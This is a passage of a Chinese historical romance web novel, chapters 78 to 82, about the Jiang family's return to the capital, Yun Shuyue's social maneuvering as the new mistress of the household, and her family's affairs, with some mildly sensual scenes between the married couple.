江家祠堂内,香烟袅袅,庄严肃穆。 高大的牌位整齐排列在神龛之上,静静俯瞰着下方。 这些牌位承载着江家历代先祖的荣耀与传承,仿佛在无声诉说着这一庞大家族的辉煌往事。 江崇礼身着一袭庄重的黑色长袍,神色凝重,他步伐稳健地走到祠堂中央的祭台前,取出檀木盒中一枚通体碧绿的印玺,印玺上雕刻着独特的花纹。 江清辞身着白色长袍走进祠堂,他身姿挺拔,眼神中透着坚定与敬畏。 在祖父身前站定后,他缓缓跪下,挺直脊背,双手交叠放在身前,神色虔诚。 “今日,我将家主之位传于你,这是千钧重担,你要牢记家族使命,不负先祖期望,好好带领江家。” 江崇礼的话音在祠堂内回荡,字字句句都似重锤。 “今日起,你便是江家的掌舵人,家族的兴衰荣辱,全系于你一身。” 江清辞站起身,紧紧握着印玺。 “孙儿绝不让我江家荣耀蒙尘。” 江崇礼只点头,轻轻拍了拍他的肩,从此,江家要如何发展,他是没有资格再管的了。 江清辞捏紧拳头道:“三年之期未满,咱们这就回京。” 江崇礼微微一笑,并未再发言。 三个月后,小雪,官道上尘烟滚滚,一道浩浩荡荡的队伍如长龙般蜿蜒而来。 宫里,皇帝不是不知道江家提前回来了。 太监万峰道:“三年之期未到,江家人抗旨,皇上应该下旨将他们抓起来。” 皇帝捏了捏眉心:“信上说,老师病了,须回来让太医医治,你说朕能强行将他们逼回去吗?” 万太监又道:“可江家人这样,不是打皇上您的脸么?” 皇帝忽地想到什么,问道:“之前的事情是不是走漏风声了,否则江家当时乖乖走了,怎么突然又要回来。若真的是走漏风声了,就更不能抓他们,朕,还不敢与他们将脸皮撕破。” 万峰皱着眉头一脸地急切:“皇上!您可是皇上啊!就算撕破脸皮他们又能怎样呢?” 皇帝发愁的就是这个:“朕就是还拿不准,要是撕破脸皮,他们会怎样?父皇给老师留了后手的,父皇临终前更是说了,朕这个皇帝要是有任何做得不好的地方,首辅尽管教训。” 江家回程前,给皇帝寄了信,要提前回来的理由,那是长篇大论写了一堆。 真要拿出来挨个评判合不合理,指不定朝堂上那些人会向着谁。 京中人只称:“皇上不喜江家,才叫他们流放,一年过去,皇上气也消了,江老爷子年纪也大了,皇上放心不下,又把人给召回来了。” 若是两方撕破脸皮的话,光是江家当时被流放的罪名,说出来就满是破绽,皇上理亏啊。 皇上再不情愿,当那只队伍临近城门时,也只能叫人把城门开了。 数十名身着鲜亮铠甲的护卫,骑着高头大马,手中长枪闪烁着寒光,整齐的马蹄声雷动,江家的威严与齐整,与从前并无分别。 云舒月与江清辞坐在为首的马车里,江清辞穿着玄色长袍,云舒月一身华美锦袍,头上带着精致珠翠,她撩开车帘往外看了一眼。 只离去了一年的时间,她却经历了好多事。 她曾以为自己会在京城里按部就班地过一辈子,从千金小姐,到世家贵妇,再往后一些,夫君若有荣耀加身了,她还能做做诰命夫人。 这仍是她的愿望,一点没改。 可她回想起来,在黔州过的这一年,她还挺高兴的。 若不是家中突然出事,她这一生,定不会有机会去过那样的日子。 她看着自己的指尖,那里仿佛还夹杂着泥土的气味。 她知道怎么挥锄头下去,能翻出最多的泥土。 她还知道自己种出来的白菜,是什么味道。 发冠上的珠翠随着马车颠簸轻轻晃动,她回过神来,看向自己的夫君,脸上挂着笑,这才是她云舒月的生活。 她坐直了身子,端着手,在马车抵达江府时,被夫君搀着下车。 姿态数不尽的雍容。 抬眼望去,早已有提前回来的下人打理好宅子。 巍峨的朱红色大门映入眼帘,门口的石狮子依旧威风凛凛。 云舒月深吸一口气,感受着京城熟悉又陌生的气息。 江府下人全都齐齐整整的,穿着统一的灰青色服装,头脸干净,齐声高呼:“请老爷安,请夫人安!” 声音整齐又洪亮,这等热闹场面,吵嚷得整条街都知道了。 云舒月微微颔首,脸上挂着浅浅的微笑。 谁能不认得她呢。 “江三夫人是,是云二姑娘。” “这是云二姑娘,真没想到她架子比从前端得还要高。” “云家如今一个国公,一个将军,云二姑娘被太后封了郡主,架子能不高吗?” 太后也是刚回到宫里,说起这个她就来气,她前脚给云二封了郡主,云二就顶着个郡主身份嫁到江家去了。 她现在实在很想收回啊,可懿旨已下,她如何还能收回。 太后暗自发誓,今后绝不再听云二花言巧语一句。 那女子将她哄得团团转,真是不得了。 云舒月此刻面上挂着端庄的浅笑,与江清辞两个,并肩进了江府。 府内,庭院深深,花草繁盛,到处是崭新气象。 “夫人,一路劳顿,可要先回房歇息?”诗筠轻声问道。 云舒月摇了摇头,“不必,先到正厅,我与老爷还有些事务要安排。” 她的声音从清脆变得沉稳,多了一丝当家主母的威严。 云舒月从小学的东西,这时候终于派上了用场。 她早已摩拳擦掌。 如何整顿下人,如何制定规矩,从日常的洒扫庭除,到膳食的准备、客人的接待,她样样都有自己的一套理论。 薛亦秋既然是已经把后宅交给她了,自然是不会管的了。 京城的社交场,从不会少了云舒月的大名,回来没几日,云舒月已然收到了诸多宴请。 第79章 第79章“夫人别闹,外面有人。…… “云二小姐,哦不,一年没见,如今已是江三夫人了,流放路上还能把婚给成了,真是奇闻呐。” “这还不算什么奇闻,我听闻江三夫人在黔州时,竟是亲自下地劳作的,这可真是奇闻呐。” 云舒月端起茶杯轻抿一口,她久不赴宴,这些人都忘了她爱喝什么了,茶泡得很差劲。 “在黔州时,我与夫君一同下地劳作,又将地里种的菜给太后尝过,太后也是夸赞不已呢。亲自劳作,方知一粥一饭来之不易,夫君悲悯之心,一心念着,这次回来,要劝着皇上免除一部分农税呢。” 说着说着,话题竟扯到政事上了,这些后宅女子哪接得过来她这话。 不过云舒月眼睛一转,就盯上了刚刚说“奇闻”的那位梁秋怡:“说起来,你夫君王大人,不正是管征税这方面的吗?劳你回去传个话儿,我夫君啊,想邀他见一面。” 梁秋怡听了这话,脸上一阵白一阵红,都是后宅的妇人,大家聊聊天而已,怎么扯到政事上了,还扯上她夫君了。 “还,还是算了吧,我夫君政务繁忙,怕是抽不出时间。” 云舒月轻轻放下茶 杯,嘴角勾起一抹笑:“这样啊,也是我冒昧了,你一个后宅妇人,不一定叫得动王大人,我回去便叫我夫君直接递信过去便好,也不劳烦你了。” 梁秋怡面露尴尬,现在大家看她的眼神都有些不对,好似看她是个在丈夫面前压根说不上话的女人一样。 “罢了罢了,也不必劳烦你家老爷们儿了,我回去把话带到便是,不过至于我家夫君能不能抽出时间,可就不是我能决定的了。”说罢,她端起茶杯,轻抿一口,掩饰不悦。 云舒月却道:“没关系,你叫他不来的话,我夫君叫他,他定会来的,毕竟,咱们两家在阶级上,还是稍稍有些差距在的。” 她面上笑意盈盈地说着,点出阶级并非她本意,只是对于有些人而言,还是点明白比较好。 她云舒月筹谋了半生才做上江三夫人,这阶级地位不是摆着玩儿的,谁也别想欺负到她。 她话说得直白,梁秋怡彻底尴尬住了。 云舒月接着道:“我在黔州举办的微光诗社已搬到京城来了,众姐妹若有想参与的,可在我这里留个名字,下次举办雅集自会递上请帖。” 此言一出,在场众人神色各异。 在黔州举办的诗社?那算是个什么组织。 可又是江三夫人举办的,江家虽说被“流放”了那么一遭,可这一来一回的,明眼人都知道是怎么回事了。 江家是需要攀附讨好的。 梁秋怡坐在原位,手中的茶杯微微颤抖,心中又气又恼。 她从前就看不惯云舒月,出身又没高到哪儿去,架子却比谁都抬得高。 众人并未急着要加入,云舒月也不急,微光诗社的名气早在黔州打响了的,就算她们要进,也不是随便哪个都能进的。 说起来,还挺想念从前的那些姐妹们,尤其是乔婉宁,她不是闹着要让诗社的人一起打马球吗,等她回了京,云舒月定要好好办一场。 不过乔婉宁跟着家人一起去北疆了,也不知何时能再见面。 云舒月眼瞧着面前端着笑脸互相恭维的贵妇,忽然觉得好生没趣。 “姚凝静呢?” “谁?” 云舒月坐直了身子问:“姚凝静。” 就是那个从前既要待在她的小团体,又专喜欢拆她台的女人。 大家是知道这两人从前有些敌对的,便都以为,云舒月这是专门要到姚凝静面前去炫一圈了。 “姚二小姐快要出嫁了,她家里最近不让她出来活动。” “哦。”云舒月点点头,也不再说话了。 午后,四人一桌围在一起打牌,也颇有乐趣。 云舒月从前不爱打牌,专爱与大家讨论些诗词歌赋。可如今身处此地,打牌这种消遣倒也颇有乐趣。 她坐在牌桌前,看着手中的牌,微微皱眉,心中暗自琢磨着出牌的策略。 随着牌局的推进,云舒月渐渐找到了感觉,她既会留意其他三位的出牌习惯和表情,脑子又转得很快。 几轮下来,云舒月已经稳赢好几把了。 “郡主不愧是聪慧过人,这才玩了几局,就上手了。” 云舒月越打越兴奋,天空稍稍暗沉了下来,下起了小雨,她也不知。 无论是叫她郡主,还是叫她江三夫人,总归都是恭维的。 “这雨倒是下得突然。”对面的孙夫人感慨道。 云舒月还盯着桌上的牌思索,琢磨下一步出牌策略。 这是,一阵脚步声由远及近,立在云舒月身后,三人下意识抬头望去,只见江清辞一袭玄色长袍,执伞站在亭外。 他的江三夫人还在琢磨牌局,不知道他来了。 三位夫人见了他,呼吸都不自觉的放轻了,从前都是大家每日偷偷肖想的郎君,如今也成了老爷了。 “那个,郡主,你夫君来了。” 他微微抬步,踏入亭中,将一只食盒放在牌桌上。 云舒月这才从牌中回过身,侧头望他,眼睛亮了一瞬:“你来了,来得正好。” 她伸手拉住他的手,将他扯得近了些。 “你帮我看看,我是出这个好,还是出这个好?” 江清辞微微俯身,目光落在她身前的牌面上,手指轻轻点了其中一张牌,声音温柔:“这张吧,这张更好。” 云舒月眼睛一亮,毫不犹豫出了这张,其他三位夫人见了,不免要指责两句:“咱们女子之间的牌局,你们这样可不作数的。” 江清辞无奈站起身:“我不说了,你们打。” 云舒月嘟着嘴,又笑了笑:“你们出牌呀,这局还没完呢。” 江清辞就只站在她身后,没说话了。 雨还在淅淅沥沥下着,打在亭外的芭蕉叶上,亭内的牌局愈发激烈。 “郡主,您可真是好福气,夫君亲自陪着你打牌。” 云舒月笑着瞥了江清辞一眼,嘟囔道:“这是他的荣幸。” 她这才瞥见江清辞带来的食盒,一边出牌一边问道:“这是什么?” 江清辞道:“你最爱吃的荷花酥。” 孙夫人忙问道:“可是瑞锦斋买的?那家可难买了,必是要喊小厮提前去排队才行。” 云舒月以为江清辞会像从前一样回答:“不是,亲自去买的,月儿爱吃我亲自挑的。” “不是,皇上赏的。” 江清辞声音说得不大,但很沉稳。 此言一出,亭内瞬间又安静下来。 “江大人原是刚从宫里出来,这等圣眷,真是羡煞旁人。” 江清辞道:“倒还不如多陪陪夫人。” 说着,俯身往云舒月头顶去了去,伸手替她添了热茶。 梁秋怡努努嘴道:“真羡慕啊,不像我夫君,总说什么男子建功立业才是第一要紧事。” 云舒月慢条斯理抿了口茶,江清辞道:“建功立业,自然也是为了妻子能过得更好,总是殊途同归的。” 牌又走了两圈,梁秋怡把牌一推:“不打了不打了,今日手起实在太差。”她站起身,整理了一下裙摆。 云舒月气得不行,自己马上就要赢了。 江清辞伸手替她捋了捋发丝,云舒月气得跺了跺脚:“你看她。” “夫人别气,吃点东西。” 他递给她一枚荷花酥,按照往常,云舒月是要把糕点推出去,叫大家一起品尝的。 可今日她却不了,就只一个人吃,她不发话,旁边的人也只有干看着。 谁也不是真就缺这一口吃的,不过江夫人这般做派的,也属实少见。 吃完后,云舒月擦了擦嘴角。 “时辰不早了。”江清辞忽然开口,衣袖轻挥,有小厮撑着油纸伞快步上前。 云舒月走到亭子边上,看着底下的湿地,又有些犹豫了。 在场三人便看见,江大人俯下身子,两只手轻轻一兜,把他夫人背在了背上。 从前都背惯了的,云舒月往上趴的动作也是熟练得很。 江清辞稳稳站起身,将她背得妥帖,她顺势搂住他的脖颈,脸颊贴着温热,小声嘟囔:“地上有泥,我的鞋子是新做的。” 她比从前要更珍爱物件儿,无论是衣裳还是鞋子,还是头上的珠钗。 “是,夫人的鞋子矜贵。”江清辞笑着应,语气满是纵容。 迈出步子时,走得极稳,生怕颠到背上的人。 孙夫人和李夫人望着这一幕,忍不住感叹:“江大人待云二是真 好。” “他们俩从小就要好,这样的情意,旁人是羡慕不来的。” 江清辞背着云舒月上轿,小心翼翼将她放进去,又仔细整理好她的裙摆。 正要退出去,云舒月一把搂住他的脖颈,他身子猛地一伏,闷哼一声。 还没反应过来,他妻子的唇已经紧贴在他唇上了。 “回去再弄。” 他妻子的两只小手直往他衣领里钻,他伸手捉住。 两条腿又沿着腰缠上来了。 他彻底瘫倒下来,伏在她身上。 车帘外雨声渐密,轿内却蒸腾起灼热的气息,江清辞喉间溢出一声低哑的出气,翻手扣住她不安分的手腕。 “夫人好心急。”他的声音混着滚烫呼吸扫过,云舒月仰起头咬住他下颌,指腹贴在他后颈凸起的骨节上。 他下颌吃痛,俯身吻住她,轿身晃了晃,云舒月回应得热切。 她喘着粗气,眼尾泛红,腰间玉带也不知何时松了,被他掌心温度烫得泛起绯色。 “夫人,外面有人。”他温柔且有礼地直起身子询问。 “你好多话啊。”她的声音中隐隐透着不耐,一把按住他的头。 第80章 第80章与夫君亲亲热热的每一刻…… 江清辞率先踏出马车,再长身玉立的江大人,也忘了腰间的衣服还皱着,腰带拴得急。 他转身伸手搀扶云舒月时,指尖勾住她掌心轻轻摩挲,颇有些黏腻。 雨不知何时停了,青石板上还泛着湿意的光,江夫人耳坠上的珍珠熠熠生辉,颇有主母风范,只是眼角还泛红,唇瓣还微肿。 她轻轻勾住他的袖角,他捏着她的手,府内下人早屏息凝神候在廊下。 “请老爷安。” “请夫人安。” 自有小厮过来汇报今日来客,又有仆妇过来向云舒月诉说今日后宅情况。 江清辞微微抬手:“王侍郎来过?” 小厮垂首恭敬答道:“回老爷,申时来的,想见老爷子,老爷子没见,留了幅名家字画。” 话音落下,江清辞挥手:“给他送回去。” 待身边人都撤了,云舒月踩着绣鞋往内院走,忽然被江清辞从身后环住腰肢。 他俯身咬住她耳垂,温热的气息喷在颈间,发间珠翠叮当作响。 江清辞望着她泛红的脸颊,喉结不自觉地滚动,猛地将人横抱起来。 她惊呼一声,下意识搂住他脖颈,绣着并蒂莲的裙摆如流云般散开。 穿过回廊,门被他腾出一只手推开。 再急切也没有把门踹开的做法。 江清辞将云舒月放在榻上,这是一张紫檀木的床,床顶悬着天水碧色的帐幔,边缘绣着金丝盘绕的双鸟朝阳,四角垂着珊瑚红的流苏,稍有动作便跟着晃悠。 床榻上铺着三层锦被,最底层是月白色的蜀锦,其上叠着鹅黄缠枝牡丹纹的软垫,最外层是雪白狐狸毛镶边的锦被,两侧放着青玉靠枕,中间还随意搭着个绣并蒂莲的长靠枕,边角处,金线绣着“长毋相忘”的篆字。 回到京中江府,这屋里一事一物都是云舒月亲自布置,她也将此地作为自己会生活一生的地方。 床尾立着一架檀木屏风,双面绣着仕女图,屏风旁的矮几上,放着一盏香炉,香气袅袅升腾,与床榻上的软香交织。 江清辞替她脱了鞋,把玩她的脚。 更漏滴答,不止过了多久,云舒月伸手勾住他脖颈,将人拉得更近,温热的呼吸交织在一起。 纱帐内,烛火摇曳,将纠缠的身影投在屏风上。 云舒月摊在他怀里,指尖无意识地在他胸膛画着圈。 他搂着怀中人,下巴蹭着她发顶:“月儿,这样的日子,可合你心意?” 云舒月仰头,指尖顺着他喉结轻轻摩挲,眼波流转间带着慵懒的媚意,哑声“嗯”了一声。 江清辞喉头滚动,将人搂得更紧,锦被下相贴的肌肤泛起细密的热意,窗外穿堂风过,吹得纱帐轻扬,他指腹抚过她脊背蜿蜒的曲线,又想起那些人说的,他们二人情意深重。可不是么,他们二人自小的情意,如何能不深重? 他咬住她唇角,香炉里的烟雾与呼吸缠绕在一起,未说完的话尽数融在辗转的吻里。 四月初三,京郊赛马。 乔婉宁回来了,薄雾还萦绕在城郊的山峦间,乍眼看去,倒像是还在黔州时一般。 不过那时她可没这么快活。 云舒月一袭火红劲装,腰间束着镶玉的革带,黑发用缎带束起,鬓边几缕碎发就那样随风清扬,衬得眉眼愈发明艳动人。 “你会骑马吗?别摔着了。” 乔婉宁打马过来,**的枣红马踏着碎步,似乎也感受到了主人的兴奋,不时昂首嘶鸣。 云舒月是穿得用力了些,江清辞牵出一匹通体乌黑、神骏非凡的小马:“你骑这个。” 云舒月瞧着那匹比乔婉宁矮了一个头的马,还颇不高兴。 乔婉宁笑道:“你会上马吗?” 云舒月挥挥马鞭,踩着马镫,跳了两下才上马。 “乔婉宁,我还以为你不回来了。” 乔婉宁挑眉道:“我就回来看看你,过阵子又走了。” 不一会儿,谭君雅也来了,乔婉宁顺着云舒月的目光望过去,得,又来了位娇小姐。 谭君雅穿着碧绿色绣玉兰的骑装,手中马鞭镶着钻,声音轻柔:“为何要约在马场见面,咱们小姐妹找个茶楼坐坐不好吗?” 她回京也有段时间了,现在谭家人都与她一起打理先夫留下的生意。 “江三公子也在啊,有阵子没见,比从前更俊俏了呢。” 乔婉宁挤挤谭君雅的胳膊:“说什么呢,人家如今已是江家家主了。” 江清辞朝她点点头,伸手替云舒月整理了一下被风吹乱的发带。 谭君雅望着两人亲昵的模样,心中泛起一丝酸涩,笑道:“云二,我打小就该跟你学来着。” 现在她们这些人里面,就属云二没走偏路。 乔婉宁哈哈大笑:“你现在学也不晚啊。” 谭君雅翻了乔婉宁一眼:“现在学?我现在还不如跟你学。” 她翻身上马,扯着缰绳转了个圈,望见远处又来了几个人:“哟,看来今天挺热闹。” 这京郊马场并不是专属于谁,又来了几位公子哥儿。 乔婉宁不知瞧见了谁,扬起马鞭挥鞭猛地冲了出去。 谭君雅见状急道:“你等等我呀,我不会骑。” 两人都冲出去得很快,乔婉宁终是放心不下谭君雅,放慢了速度等她。 至于身后慢慢悠悠、卿卿我我的两人,谁也不想理他们。 “清辞哥哥,咱们也出发吧。”她的眼睛亮晶晶的,满是期待。 “咱们慢些走。” “江大人整日围着妇人转,是不是有些不太好看。”江清辞侧头看去,是官场上一位同僚,姓赵。 江家回京不久,皇上还未委派官职,不过每日进宫做些闲职。 “赵大人,有何贵干。” 云舒月扬着下巴看他:“我夫君不围着我转,难不成围着你转?想不到赵大人竟有这般癖好。” 前边乔婉宁行至半路,中间忽地横出一人一马来。 乔婉宁挑眉看他:“江大公子,何事?” 江正泽捏着缰绳,一脸的委屈:“婉宁,你什么时候回来的,怎么不找我?” “我为什么要找你?我们有什么关系吗?” 江正泽道:“好歹,好歹当时在牢城营,也是一起吃过几顿饭的关系。” 乔婉宁道:“哦,你当初主动邀我吃的饭,现在不会叫我还你吧。” 江正泽连连摆手:“不,不是,真的不是!” “那你是什么意思。” 谭君雅笑道:“能有什么意思,男人对女人的意思。” 乔婉宁嘴角含笑,看他:“是这个意思吗?” 江正泽不知该怎么说,只好点头:“是,就是这个意思。” 乔婉宁仰头大笑,对他道:“你想要我被云二管?你想得美!” 江正泽一脸迷茫,家中如今是三弟妹在管不假,可,可哪有像她这样想的。 还不等他说话,枣红马踏起的尘土扑在他脸上,吃了一嘴的灰。 谭君雅朝他摇摇头:“她就这么个性子,你别在意。” “谭君雅,你跟他废话什么,跟姐们儿走。” 谭君雅连忙骑着小马跟上去:“哎哟,这马儿颠得我屁股疼。” 乔婉宁瞥了她一眼:“那是你屁股太软,不够硬,得多练。” 京中风水六十年一变,都说住在城东的江家,是时候该落寞了。 原本刚刚兴起的国公府云家,建府建在城南,皇上敕造的匾额送去。 可不知怎么,自从江家人回京,皇上再没召见过云家,三日前,又下旨把云家的小将军,指派到黔州守疆去了。 众所周知,黔州有什么好守的,那地方多派一个兵都是浪费。 有人玩笑道:“皇上这是把明威将军一人,又‘流放’到黔州去了。” 皇上也很无奈啊,正打算重用云家,谁知道这江云两家当时闹得那么凶,竟然能结了亲! 他真叫一个后悔,他处置不了江家,难道还处置不了云家? 有人说江家权势滔天,连皇上圣旨都能左右,就有人说云家只知攀附权贵,却站错了队,终究落得个被皇上弃如敝履的下场。 就连太后前些日在宫中举办的赏花宴,都独独没有请江夫人去。 “在想什么?”江清辞的声音从身后传来,带着熟悉的温热气息,他伸手将披风搭在她肩头。 云舒月转过身,伸手搭在他手背上,冷静道:“哥哥写的家书,说他到黔州了。” 她如今不悲也不怨,更不会后悔之前的选择,遇到事情,当与夫君一同商量。 江清辞轻轻按住她的手背,指腹摩挲着她的腕骨:“你明日去见御史中丞的夫人徐氏一面,就送这面折扇去。” 云舒月收下折扇,从不问为什么,后宅与前朝,也是紧密牵扯的。 只道:“你放心,没有我笼络不了的人。” 江清辞揉揉她的头顶,夸奖她:“夫人聪明。” 云舒月仰起头,眼波流转间尽是脚下,伸手一把捞住夫君的脖颈,将人往下拽:“只是聪明?那可不止。” 她的唇轻轻擦过他唇角,温热呼吸喷洒在他耳畔,江清辞喉结滚动,反手扣住她的腰,将人紧紧贴在自己身上。 “还有什么?”他的声音低沉沙哑,带着蛊惑的意味,指尖划过她腰间的系带。 云舒月仰头,咬住他的下唇轻轻撕磨,而后含含糊糊道:“还有……风情。” 眼尾蘸着春水,浑身都散发着勾人的香,纤腰款摆如弱柳,眉间拢着层薄雾般的慵懒,勾得人心痒。 云舒月知道如今大局未定,可她仍愿沉溺于这些日常的情爱里,与夫君亲亲热热的每一刻,也是她生命里极为绚烂的一部分。 第 81 章【VIP】 第81章 第81章“我来给夫君穿衣。”…… 江清辞喉间溢出一声轻笑,撩着她的发丝道:“夫人的风情,自是无人能敌,为夫招架不住。” 谁也没提京中局势,谁也没提皇上如何看待他们,谁也没提该如何稳住江家地位。 江清辞只顾着撩拨与被撩拨,顺势将她压向身后的软榻。 云舒月鬓边的珍珠步摇随着动作轻晃,在日光下折射出细碎的光。 他的吻落在她泛红的耳垂上,咬着那莹润的软肉含糊道:“为夫领教。” 云舒月双手环上他的脖颈,指尖在他后背游走,隔着衣料描摹肌肉起伏。 腰间一紧,江清辞已然扯开她外衫的系带,雪色中衣敞开,露出一截欺霜赛雪的肌肤。 天色渐晚,云舒月发丝散落枕上如墨色流云,她掌住颈间人的脑袋:“清辞哥哥,明日我还要见徐夫人。”她尾音上扬,带着意有所指的娇嗔,却在江清辞咬住她颈侧时化作一声轻颤。 “无碍。”他含混回应,滚烫的掌心抚过她腰间软肉。 纱帐内春情缱绻,江清辞吻去她额间薄汗:“明日穿件高领中衣便是。” 云舒月侧头在他脸上亲了一口,江清辞的脸皮子很软,亲起来很舒服,并且滑滑的。 云舒月抬手戳了戳他的胸膛,哼笑道:“那你给我穿。” “好。” 他翻了个身,将她抱得更紧,又在她额头上亲了一口。 夜色渐深,江清辞望着怀中沉睡的人,替她掖好被角。 早上起来,江清辞要去上朝,云舒月还没睡醒,但她察觉到身边人起床的动静。 朦胧间睁开眼,脑袋尚还不清醒,却记得张嘴咿咿呀呀地看:“夫君,你要走啦。” 江清辞衣服穿到一半,便俯下身来亲她,从鼻腔里发出声音:“嗯,你再睡会儿吧。” 他一凑近,云舒月顺势搂上他脖子,在他脸颊上亲了一口。 江清辞便又回了她一口。 “乖,放开我。” 云舒月摇头,她不放。 也不知她怎么想的,她噌地一下从床上坐起来了。 “我来给夫君穿衣。” 江清辞本穿了一半的衣裳,又被她解开,重新套上。 云舒月动作虽生涩,却格外认真。 江清辞先是无奈,随后唇角勾起来。 她跪在床边上,他站着,二人真像是多年恩爱的夫妻了。 夫人贤惠,夫君疼爱。 晨光洒在她发间,渡上一层柔和光晕,还未施粉黛的脸庞带着慵懒的娇憨。 “系带系反了。”江清辞轻声提醒,嘴角却是藏不住的笑意。 “哦。”云舒月像是被人指出错误的小孩子,连忙补救,手忙脚乱的,脸都红了。 系好后,她又伸手抚平他衣襟上的褶皱,从领口一路摩挲到下摆,又给他腰间系上玉佩。 江清辞垂头亲了她一下,云舒月用脸颊去应了,脸颊凹下去一块,江清辞松开。 云舒月又反过去亲他一口,江清辞的脸也是软软弹弹的,亲一下口感很好。 反正两人出门前,就是要这么你亲我一下,我亲你一下,然后才出门的。 云舒月知道这阵子他在干大事。 她知道他是干大事的人,从不会叫她失望的。 而她也不会看错人,选错路。 尽管上回太后办赏花宴都未曾请她。 她不是太后最喜欢的小姐了,她要与她的夫君一起,乘风破浪。 “夫君慢走。” “夫人慢送。” 云舒月又躺会床上,没过多久,丫鬟婆子们鱼贯而入。 伺候她起来,梳完妆,用过早饭,云舒月便要该处理家务处理家务,该见客见客,该出门拜访哪家夫人就要出门拜访哪家夫人。 一连忙了几日,别说她了,江清辞好几日晚归,更是忙得脚不沾地。 难得闲了一日,云舒月连忙叫人套马车,要回自己家一趟。 说起云家,云家人回京已有三月了。 京里新封的云国公却不爱见客,刚回来时,是有不少人往云家递了帖子要拜访一下的。 往年从京里流放走的官员很多,可这不仅能回来,还是风风光光回来的,还真是少见。 不少人都想与云家重新建立起关系,可云家全都拒了。 云国公如今不爱见客,只听说,云国公晚年又得了一子,每日忙着逗孩子,没心思见客。 又有人说,云国公是在战场上失了一条腿,如今啊,不好意思见人了,只愿在府中颐养天年。 云舒月回到家中时,家里仍旧冷清。 云家回京后,虽住进了国公府,也未曾买来多少下人,远不如当年的云家风光气派。 林书柔不想管事,反倒是在国公府硕大的后院儿里开辟了几块菜地,每日忙活着开垦种地。 这管事的架子竟是落到了王姨娘身上。 王姨娘也果然成了这府上的贵妾。 云舒月本是不满这一点的,可母亲定要撂挑子不干了,她能有什么办法。 可是,“父亲,家里夫人不管家,一个妾来管家,传出去也太难听了,不知道的还以为你宠妾灭 妻呢。” 这时候,云明旭躺在躺椅里,正由王姨娘喂他葡萄吃呢。 王姨娘现在不光是贵妾,更是宠妾。 连带着家中,云梓莹的地位都比云千雁要高得多。 云明旭时不时地还要“唉哟”一声,全家便都要去问他:“怎么了?” “腿疼。” 云舒月看着也无奈,更心疼,父亲的断肢处,时时刻刻都要疼,那是肯定的。 尤其是阴雨天、降温的时候,要在腿上盖上厚厚一层褥子,才可缓解一二。 “但还是刺骨的疼。” 云舒月听着揪心,好在王姨娘把父亲照顾得很好,父亲腿上盖的褥子,就是王姨娘一针一线缝的。 云明旭是如今才知道王姨娘的可贵之处。 云舒月自然也感念王姨娘的好。 今日她回来,王姨娘又一早忙活着给她做好吃的。 毕竟小姐从前就说了,就好她做的这一口的。 尤其是来了京城,云舒月反倒不爱吃那些精细食物了,就要王姨娘在土灶上烧的大柴火饭。 在这位于京城东边儿的,位置极好的,四周都是达官贵人的院儿里,云家升起了袅袅炊烟。 “王姨娘辛苦了。” 云舒月叫云梓莹坐在她身边,头一回仔细打量起自己这个妹妹来。 云梓莹生得秀气,眉眼间自有一股灵气在,性子有些像王姨娘,木讷,但要聪慧些。 “妹妹。” 听二姐这样叫她,云梓莹很是受宠若惊。 “二姐。” “你喜欢什么样的男子?要容貌好的,还是家世好的?或是读书好的?” 容貌好的,可能出身上就要差点,但出身上差点的,可能科举上又走得好。 家世好的,可能科举上又要差一些,要么纨绔、要么庸才。 上哪找江清辞那样的呢?一想到这里,云舒月难免又要夸奖自己一番。 自己打小找的,就是最好的。 云梓莹听得愣住,二姐这是…… 她还没反应,刚端着菜上桌的王姨娘反应可大了。 忙笑得脸都要烂了:“二小姐,若能给我们家梓莹找个好夫婿,我下半生为您做牛做马也是可以的。” 她知道二小姐说起这个话题的含金量,府中云明旭不见客,做主母的不管事,家里女儿的婚事还真就没人管了。 这事情本也轮不到二小姐来管,可二小姐却愿意管,王梅英领这份情。 云舒月佯装发怒:“姨娘,咱们是一家人,你怎么还跟我见外,再说了,要给四妹找个好夫婿,是我一早就答应了你的。” 王姨娘卑微惯了,生怕这些贵人出尔反尔,所有每次都巴不得用最恭敬的态度去迎合。 云舒月多少也能理解她,往后大不了多劝劝。 一家人把话说到这里,刚刚从后院儿里出来的柳姨娘却不干了。 “千雁比四小姐还要大一岁,若要说亲,也该先轮到我们千雁吧。” 云舒月真不是对柳姨娘或是三妹有意见,她只是单纯的,从来都不愿意做多余的事情,尤其是费力不讨好的事情。 本来两个妹妹的亲事无论如何都轮不到她来管的。 她管管四妹已是善心大发了。 “柳姨娘,妹妹们的婚事自是做姨娘或是做母亲的负责,你带她去找我母亲,我母亲会管的。” 林书柔只是不爱管事,不代表该她的事情她不做。 管她是敷衍还是认真挑,总归会为三妹找个人家的。 “可你三妹四妹都是你妹妹,你只管其中一个是什么意思?” 柳姨娘想找老爷告状诉苦,可老爷许久未找她侍寝过了,也好长时间没理她了,她不敢去找老爷。 云舒月只能说:“王姨娘之前给我做了那么多好吃的,我当然是念着姨娘的好的。” 说着,她扭头看向姨娘,一脸的甜笑,又朝王姨娘伸出手,叫王姨娘挨着她身边儿坐下。 云千雁默默坐在一旁听着,心里除了怨恨姨娘,什么也做不了。 明明小时候,她仗着姨娘受宠,日子要比云梓莹好过很多的。 许多衣裳首饰,云梓莹没有的,她都有。 越是这般想着,云千雁不仅怨怪起姨娘来,更怨怪二姐了。 明明都是妹妹,都是父亲的女儿,她姨娘不好,又不代表她不好。 可二姐为什么就不帮帮她呢。 第 82 章(结局) 第82章 第82章(结局)我爱…… 可是云千雁却忽略了,云舒月从不是什么疼爱妹妹的好姐姐,也不是什么爱护家人的好人。 她能有那么一点点爱护姐妹之心,已是她良心大发了。 云舒月也从不怕什么不患寡而患不均造成的后患。 云千雁和柳姨娘两个人,她从来也不放在眼里。 菜都上好以后,一家人围在一起,林书柔从后院出来。 云舒月给她带了些首饰头面过来。 “万一要见客呢?母亲也稍微打扮打扮。” 林书柔提不起兴趣,她觉得黔州山野里的生活甚好,自从回京以后,她没有一刻不在想着当初,没有一刻不想回去。 当时云鸿祯领命走的时候,她差些都想跟着去了,但心里还念着女儿。 云舒月不知道母亲产生了这样的想法,更不知现在家中几人,已经各有各的志向,一家人力若是不往一处使,是要越走越倒退的。 云明旭只想安享晚年,云鸿祯只想在战场上抛头颅洒热血,而林书柔只想安安稳稳地寻一处静谧之地,自给自足地度过后半生。 而云舒月,她想自己家的门楣再高一些,家中子弟都争气,若百年后云家能成为京中望族,她的目的便达到了。 只可惜,除了她以外,家中无人这样想。 王姨娘和云梓莹只想安安稳稳过日子,不是不想别的,而是不敢想。 